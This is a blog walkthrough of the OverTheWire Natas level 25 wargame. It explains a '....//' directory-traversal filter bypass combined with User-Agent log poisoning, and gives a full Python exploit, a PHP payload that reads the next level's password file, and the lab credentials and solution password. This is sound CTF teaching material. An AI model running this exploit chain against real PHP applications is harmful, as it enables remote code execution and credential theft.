OverTheWire Natas Level 24 → 25 tutorial!!
Published on 06 Jan 2024
Login
URL: http://natas25.natas.labs.overthewire.org
Credentials: natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
# Quick check:
curl -u natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
http://natas25.natas.labs.overthewire.org/
Task
Exploit two weaknesses together:
- Weak directory traversal filter (
str_replace("../","",...)
) - Log poisoning via the
User-Agent
string
Goal: include our own poisoned log and execute arbitrary PHP to dump the next password.
A little bit of Theory
Relevant source code:
if (strstr($filename,"../")) {
$filename = str_replace("../","",$filename);
}
...
$log = $log . " " . $_SERVER['HTTP_USER_AGENT'];
$fd = fopen("/var/www/natas/natas25/logs/natas25_" . session_id() . ".log","a");
fwrite($fd,$log);
- The traversal check is naive:
....//
bypasses it. - Logs are written under
logs/natas25_<PHPSESSID>.log
. - Our User-Agent is appended to the log → we can inject PHP.
Full Python Exploit
Steps:
- Start a session → get
PHPSESSID
. - Poison the log: request with
User-Agent=<?php ... ?>
and a traversal param to forcelogRequest()
. - Include the log file using
lang=....//logs/natas25_<PHPSESSID>.log
. - Our PHP executes and prints the password between
PW:...:PW
.
#!/usr/bin/env python3
import re, requests
BASE = "http://natas25.natas.labs.overthewire.org/"
AUTH = ("natas25", "ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws")
PAYLOAD = '<?php echo "PW:".file_get_contents("/etc/natas_webpass/natas26").":PW"; ?>'
MARKER = re.compile(r"PW:([A-Za-z0-9]{32}):PW")
with requests.Session() as s:
s.auth = AUTH
# Get PHPSESSID
s.get(BASE)
sid = s.cookies.get("PHPSESSID")
print(f"[i] PHPSESSID = {sid}")
# Poison log (must trigger traversal so logRequest() runs)
s.get(BASE, params={"lang": "....//dummy"}, headers={"User-Agent": PAYLOAD})
# Try sibling log include
lang = f"....//logs/natas25_{sid}.log"
r = s.get(BASE, params={"lang": lang})
m = MARKER.search(r.text)
if not m:
# Fallback: absolute path with traversal hops
hop = "....//" * 8
lang = hop + f"var/www/natas/natas25/logs/natas25_{sid}.log"
r = s.get(BASE, params={"lang": lang})
m = MARKER.search(r.text)
if not m:
print(r.text[:800])
raise SystemExit("[-] Password marker not found.")
print(f"[+] natas26 password = {m.group(1)}")
Run:
python3 natas25_exploit.py
Example output:
[i] PHPSESSID = e1ci2h8fgj31acafb8ojeamj9f
[+] natas26 password = cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
Password
cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
Troubleshooting
-
Still no PW?
- Make sure the poison step used both User-Agent and
lang=....//dummy
.
- Make sure the poison step used both User-Agent and
-
Markers don’t show up?
- Increase hop count (
....//
* 12). - Verify the
sid
matches your current PHPSESSID cookie.
- Increase hop count (
-
Payload echoed literally (not executed)?
- You’re not including the log; check
lang
points atlogs/natas25_<sid>.log
.
- You’re not including the log; check
Boom 🎉 Pure Python requests
exploit — no Burp needed. On to natas26!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86